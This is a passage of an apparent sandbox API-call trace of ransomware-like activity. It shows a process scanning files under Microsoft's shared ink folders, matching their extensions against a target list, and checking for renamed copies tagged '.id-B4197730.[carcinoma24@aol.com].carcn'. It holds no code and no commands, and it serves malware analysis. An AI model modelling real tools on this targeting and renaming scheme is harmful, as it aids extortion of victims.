(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.064] lstrlenW (lpString=".1cd") returned 4 [0296.064] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.064] lstrlenW (lpString=".jpg") returned 4 [0296.064] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.064] lstrlenW (lpString=".doc") returned 4 [0296.064] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.064] lstrlenW (lpString=".docx") returned 5 [0296.064] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.064] lstrlenW (lpString=".pdf") returned 4 [0296.064] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.064] lstrlenW (lpString=".xls") returned 4 [0296.064] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.064] lstrlenW (lpString=".xlsx") returned 5 [0296.064] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.064] lstrlenW (lpString=".ppt") returned 4 [0296.064] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.064] lstrlenW (lpString=".zip") returned 4 [0296.065] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.065] lstrlenW (lpString=".rar") returned 4 [0296.065] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.065] lstrlenW (lpString=".bz2") returned 4 [0296.065] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.065] lstrlenW (lpString=".7z") returned 3 [0296.065] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.065] lstrlenW (lpString=".dbf") returned 4 [0296.065] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.065] lstrlenW (lpString=".1cd") returned 4 [0296.065] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0296.065] lstrlenW (lpString=".jpg") returned 4 [0296.065] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.065] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.065] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0296.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.066] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=9728) returned 1 [0296.066] CloseHandle (hObject=0x338) returned 1 [0296.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0296.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.066] lstrlenW (lpString=".doc") returned 4 [0296.066] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.066] lstrlenW (lpString=".docx") returned 5 [0296.066] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.066] lstrlenW (lpString=".pdf") returned 4 [0296.067] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.067] lstrlenW (lpString=".xls") returned 4 [0296.067] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.067] lstrlenW (lpString=".xlsx") returned 5 [0296.067] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.067] lstrlenW (lpString=".ppt") returned 4 [0296.067] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.067] lstrlenW (lpString=".zip") returned 4 [0296.067] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.067] lstrlenW (lpString=".rar") returned 4 [0296.067] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.067] lstrlenW (lpString=".bz2") returned 4 [0296.067] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.067] lstrlenW (lpString=".7z") returned 3 [0296.067] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.067] lstrlenW (lpString=".dbf") returned 4 [0296.067] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.067] lstrlenW (lpString=".1cd") returned 4 [0296.067] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.067] lstrlenW (lpString=".jpg") returned 4 [0296.067] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.067] lstrlenW (lpString=".doc") returned 4 [0296.068] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.068] lstrlenW (lpString=".docx") returned 5 [0296.068] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.068] lstrlenW (lpString=".pdf") returned 4 [0296.068] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.068] lstrlenW (lpString=".xls") returned 4 [0296.068] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.068] lstrlenW (lpString=".xlsx") returned 5 [0296.068] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.068] lstrlenW (lpString=".ppt") returned 4 [0296.068] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.068] lstrlenW (lpString=".zip") returned 4 [0296.068] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.068] lstrlenW (lpString=".rar") returned 4 [0296.068] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.068] lstrlenW (lpString=".bz2") returned 4 [0296.068] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.068] lstrlenW (lpString=".7z") returned 3 [0296.068] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.068] lstrlenW (lpString=".dbf") returned 4 [0296.068] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.068] lstrlenW (lpString=".1cd") returned 4 [0296.068] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0296.068] lstrlenW (lpString=".jpg") returned 4 [0296.068] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.069] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.069] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0296.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.069] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8704) returned 1 [0296.069] CloseHandle (hObject=0x338) returned 1 [0296.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0296.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.070] lstrlenW (lpString=".doc") returned 4 [0296.070] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.070] lstrlenW (lpString=".docx") returned 5 [0296.070] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.070] lstrlenW (lpString=".pdf") returned 4 [0296.070] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.070] lstrlenW (lpString=".xls") returned 4 [0296.070] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.070] lstrlenW (lpString=".xlsx") returned 5 [0296.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.070] lstrlenW (lpString=".ppt") returned 4 [0296.070] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.070] lstrlenW (lpString=".zip") returned 4 [0296.070] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.070] lstrlenW (lpString=".rar") returned 4 [0296.070] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.070] lstrlenW (lpString=".bz2") returned 4 [0296.070] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.070] lstrlenW (lpString=".7z") returned 3 [0296.070] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.070] lstrlenW (lpString=".dbf") returned 4 [0296.071] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.071] lstrlenW (lpString=".1cd") returned 4 [0296.071] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.071] lstrlenW (lpString=".jpg") returned 4 [0296.071] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.071] lstrlenW (lpString=".doc") returned 4 [0296.071] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.071] lstrlenW (lpString=".docx") returned 5 [0296.071] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.071] lstrlenW (lpString=".pdf") returned 4 [0296.071] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.071] lstrlenW (lpString=".xls") returned 4 [0296.071] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.071] lstrlenW (lpString=".xlsx") returned 5 [0296.071] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.071] lstrlenW (lpString=".ppt") returned 4 [0296.071] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.071] lstrlenW (lpString=".zip") returned 4 [0296.071] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.071] lstrlenW (lpString=".rar") returned 4 [0296.071] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.071] lstrlenW (lpString=".bz2") returned 4 [0296.071] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.072] lstrlenW (lpString=".7z") returned 3 [0296.072] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.072] lstrlenW (lpString=".dbf") returned 4 [0296.072] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.072] lstrlenW (lpString=".1cd") returned 4 [0296.072] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0296.072] lstrlenW (lpString=".jpg") returned 4 [0296.072] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.072] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.072] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0296.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.073] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5120) returned 1 [0296.073] CloseHandle (hObject=0x338) returned 1 [0296.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0296.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.073] lstrlenW (lpString=".doc") returned 4 [0296.073] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.073] lstrlenW (lpString=".docx") returned 5 [0296.073] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.073] lstrlenW (lpString=".pdf") returned 4 [0296.073] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.073] lstrlenW (lpString=".xls") returned 4 [0296.073] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.073] lstrlenW (lpString=".xlsx") returned 5 [0296.074] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.074] lstrlenW (lpString=".ppt") returned 4 [0296.074] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.074] lstrlenW (lpString=".zip") returned 4 [0296.074] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.074] lstrlenW (lpString=".rar") returned 4 [0296.074] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.074] lstrlenW (lpString=".bz2") returned 4 [0296.074] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.074] lstrlenW (lpString=".7z") returned 3 [0296.074] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.074] lstrlenW (lpString=".dbf") returned 4 [0296.074] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.074] lstrlenW (lpString=".1cd") returned 4 [0296.074] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.074] lstrlenW (lpString=".jpg") returned 4 [0296.074] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.074] lstrlenW (lpString=".doc") returned 4 [0296.074] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.074] lstrlenW (lpString=".docx") returned 5 [0296.074] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.074] lstrlenW (lpString=".pdf") returned 4 [0296.075] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.075] lstrlenW (lpString=".xls") returned 4 [0296.075] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.075] lstrlenW (lpString=".xlsx") returned 5 [0296.075] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.075] lstrlenW (lpString=".ppt") returned 4 [0296.075] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.075] lstrlenW (lpString=".zip") returned 4 [0296.075] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.075] lstrlenW (lpString=".rar") returned 4 [0296.075] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.075] lstrlenW (lpString=".bz2") returned 4 [0296.075] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.075] lstrlenW (lpString=".7z") returned 3 [0296.075] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.075] lstrlenW (lpString=".dbf") returned 4 [0296.075] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.075] lstrlenW (lpString=".1cd") returned 4 [0296.075] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0296.075] lstrlenW (lpString=".jpg") returned 4 [0296.075] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.075] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.076] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0296.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.076] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3072) returned 1 [0296.076] CloseHandle (hObject=0x338) returned 1 [0296.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0296.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.077] lstrlenW (lpString=".doc") returned 4 [0296.077] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.077] lstrlenW (lpString=".docx") returned 5 [0296.077] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.077] lstrlenW (lpString=".pdf") returned 4 [0296.077] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.077] lstrlenW (lpString=".xls") returned 4 [0296.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.077] lstrlenW (lpString=".xlsx") returned 5 [0296.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.077] lstrlenW (lpString=".ppt") returned 4 [0296.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.077] lstrlenW (lpString=".zip") returned 4 [0296.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.077] lstrlenW (lpString=".rar") returned 4 [0296.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.077] lstrlenW (lpString=".bz2") returned 4 [0296.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.077] lstrlenW (lpString=".7z") returned 3 [0296.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.077] lstrlenW (lpString=".dbf") returned 4 [0296.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.077] lstrlenW (lpString=".1cd") returned 4 [0296.077] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.078] lstrlenW (lpString=".jpg") returned 4 [0296.078] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.078] lstrlenW (lpString=".doc") returned 4 [0296.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.078] lstrlenW (lpString=".docx") returned 5 [0296.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0296.078] lstrlenW (lpString=".pdf") returned 4 [0296.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.078] lstrlenW (lpString=".xls") returned 4 [0296.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.078] lstrlenW (lpString=".xlsx") returned 5 [0296.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0296.078] lstrlenW (lpString=".ppt") returned 4 [0296.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.078] lstrlenW (lpString=".zip") returned 4 [0296.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.078] lstrlenW (lpString=".rar") returned 4 [0296.078] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.078] lstrlenW (lpString=".bz2") returned 4 [0296.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.078] lstrlenW (lpString=".7z") returned 3 [0296.078] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.078] lstrlenW (lpString=".dbf") returned 4 [0296.078] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.079] lstrlenW (lpString=".1cd") returned 4 [0296.079] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0296.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 